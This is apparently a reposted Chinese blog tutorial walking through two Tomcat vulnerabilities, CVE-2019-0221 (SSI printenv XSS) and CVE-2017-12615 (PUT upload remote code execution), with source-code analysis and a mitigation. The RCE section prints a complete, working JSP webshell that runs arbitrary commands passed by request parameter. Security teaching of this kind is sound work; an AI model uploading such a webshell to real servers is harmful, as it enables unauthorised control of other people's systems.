我成功攻击了Tomcat服务器,大佬们的反应亮了( 二 )


我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
于是接下往下翻代码:
我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
这个地方将我们输入的变量值直接输出到了网页 , 很明显刚刚的entity应该是进行了转码 。我们找到SSIMediator.JAVA文件 , 路径org.apache.catalina.ssi. SSIMediator
我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 

我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 

我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
这样我们一下子就明白过来了 , 当发现是“entity”编码 , 会将输入的内容进行Escape , 从而避免了XSS 。估计大神们当时也是紧急出了个hotfix版本 , 直接把参数写死成“entity” 。还有作为Web服务器 , 大神们竟然也会犯这么低级别的错误 , 所以这也解释了为什么不存在0Bug的系统 , 哈哈!去翻看最新的SSIPrintenv.java文件 , 已经把“entity”定义成常量了 , 这才专业嘛!
我成功攻击了Tomcat服务器,大佬们的反应亮了

文章插图
 
【攻击二:远程代码执行】接下来再简单演示下远程代码执行漏洞 , 该漏洞为高危漏洞 , 即使是非默认配置 , 但是一旦存在漏洞 , 那么攻击者可以成功上传 Webshell , 并控制服务器 。
  1. 通过put方式上传文件 , 请求进行中时进行拦截:
  2. 生成恶意文件 , 取名叫jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
  1. 远程上传成功 , 接下来就可以愉快地在这个不属于我们自己的tomcat里玩耍了
  2. 整个代码也是比较简单的 , 可以翻看JspServlet.java , 这里就不做演示了 。
    说明:该漏洞影响范围非常广 , 从 5.x 到 9.x 全部中枪 。最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true 。
结语兴趣是最好的老师 , 我们通过去看大佬们掉过的坑 , 写过的代码 , 站在巨人的肩膀人可以更快速地提升自己 。
有兴趣的小伙伴可以去看看Tomcat已爆出的漏洞:http://tomcat.apache.org/security-9.html本次演示的两个漏洞分别是CVE-2019-0221 , CVE-2017-12615 。
作者:码大叔
来源:https://www.cnblogs.com/madashu/p/12550149.html

【我成功攻击了Tomcat服务器,大佬们的反应亮了】


推荐阅读